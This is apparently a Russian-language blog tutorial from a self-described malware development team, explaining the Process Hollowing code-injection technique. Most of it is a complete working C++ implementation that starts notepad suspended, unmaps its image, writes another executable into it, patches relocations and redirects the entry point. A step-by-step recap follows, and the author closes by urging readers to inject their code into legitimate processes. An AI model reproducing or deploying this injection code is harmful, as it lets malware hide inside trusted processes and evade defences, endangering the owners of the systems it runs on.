Введение
Добро пожаловать в мою новую статью, сегодня я покажу вам технику Process Hollowing. Это подтехника инъекционного процесса, которая в последние годы стала одной из наиболее часто используемых.
Что такое?
Информация от:
Фундаментальная концепция довольно проста. В методе внедрения кода с очисткой процесса злоумышленник создает новый процесс в приостановленном состоянии, затем его образ удаляется из памяти (удаляется), вместо него записывается вредоносный двоичный файл, и, наконец, восстанавливается состояние программы, которая выполняет внедренный код. .
Этапы внедрения:
- Внедрение шелл-кода в целевой процесс
- Получить ImageBaseAddress исполняемого образа
- Считать исполняемый образ удаленного процесса в буфер
- Отключить исполняемый образ от процесса
- Зацепите где-нибудь скопированное изображение, чтобы оно перешло к шеллкоду
- Переназначьте раздел на удаленный процесс, используя описанные выше методы.
Код
Код:
#include "pch.h" #include <iostream> #include <Windows.h> #include <winternl.h> using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID); typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; int main() { // create destination process - this is the process to be hollowed out LPSTARTUPINFOA si = new STARTUPINFOA(); LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION(); PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION(); DWORD returnLenght = 0; CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi); HANDLE destProcess = pi->hProcess; // get destination imageBase offset address from the PEB NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght); DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8; // get destination imageBaseAddress LPVOID destImageBase = 0; SIZE_T bytesRead = NULL; ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead); // read source file - this is the file that will be executed inside the hollowed process HANDLE sourceFile = CreateFileA("C:\\temp\\regshot.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL); DWORD sourceFileSize = GetFileSize(sourceFile, NULL); LPDWORD fileBytesRead = 0; LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize); ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL); // get source image size PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer; PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew); SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage; // carve out the destination image NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection")); myNtUnmapViewOfSection(destProcess, destImageBase); // allocate new memory in destination image for the source image LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); destImageBase = newDestImageBase; // get delta between sourceImageBaseAddress and destinationImageBaseAddress DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase; // set sourceImageBase to destImageBase and copy the source Image headers to the destination image sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase; WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL); // get pointer to first source image section PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection; int err = GetLastError(); // copy source image sections to destination for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) { PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection->VirtualAddress); PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData); WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL); sourceImageSection++; } // get address of the relocation table IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // patch the binary with relocations sourceImageSection = sourceImageSectionOld; for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) { BYTE* relocSectionName = (BYTE*)".reloc"; if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) { sourceImageSection++; continue; } DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData; DWORD relocationOffset = 0; while (relocationOffset < relocationTable.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); relocationOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); for (DWORD y = 0; y < relocationEntryCount; y++) { relocationOffset += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[y].Type == 0) { continue; } DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset; DWORD patchedBuffer = 0; ReadProcessMemory(destProcess,(LPCVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead); patchedBuffer += deltaImageBase; WriteProcessMemory(destProcess, (PVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), fileBytesRead); int a = GetLastError(); } } } // get context of the dest process thread LPCONTEXT context = new CONTEXT(); context->ContextFlags = CONTEXT_INTEGER; GetThreadContext(pi->hThread, context); // update dest image entry point to the new entry point of the source image and resume dest image thread DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint; context->Eax = patchedEntryPoint; SetThreadContext(pi->hThread, context); ResumeThread(pi->hThread); return 0; }
Шаг 1: Создание нового процесса в приостановленном состоянии:
- CreateProcessA()с установленным флагом CREATE_SUSPENDED
Шаг 2: Поменяйте местами содержимое его памяти (разметка/удаление):
- NtUnmapViewOfSection()
Шаг 3: Введите вредоносную полезную нагрузку в этот несопоставленный регион:
- VirtualAllocEx: чтобы выделить новую память
- WriteProcessMemory(): для записи каждого из вредоносных разделов, предназначенных для пространства процесса.
Шаг 4: Установка EAX в качестве точки входа:
- SetThreadContext()
Шаг 5: Запустите приостановленный поток:
- ResumeThread()
Выводы
Это все шаги и код для завершения очистки процесса, я рекомендую вам использовать эту технику для внедрения вашего кода в законные процессы или процессы, созданные вами.
Если вам нравится мой контент и вы хотите помочь мне вывести этот проект на новый уровень, вы можете стать участником, пожертвовав ежемесячную подписку. Ваша поддержка поможет мне продолжать создавать качественный контент. Благодарим вас за щедрость!
Если в настоящее время пожертвование невозможно для вас, не проблема! Ваша поддержка в обмене моим проектом и распространении слова очень ценится. Я буду продолжать создавать и делиться своими работами, несмотря ни на что, и я благодарен за вашу поддержку и интерес.
Если вы хотите поддержать меня, вы можете проверить мой дополнительный профиль на Medium и увидеть все статьи! Следите и поддерживайте его!. Это ссылка:
Это учетная запись моей команды разработчиков вредоносных программ, нам нужны ваши подписчики и ваша поддержка.
Спасибо, что прочитали это :)
S12.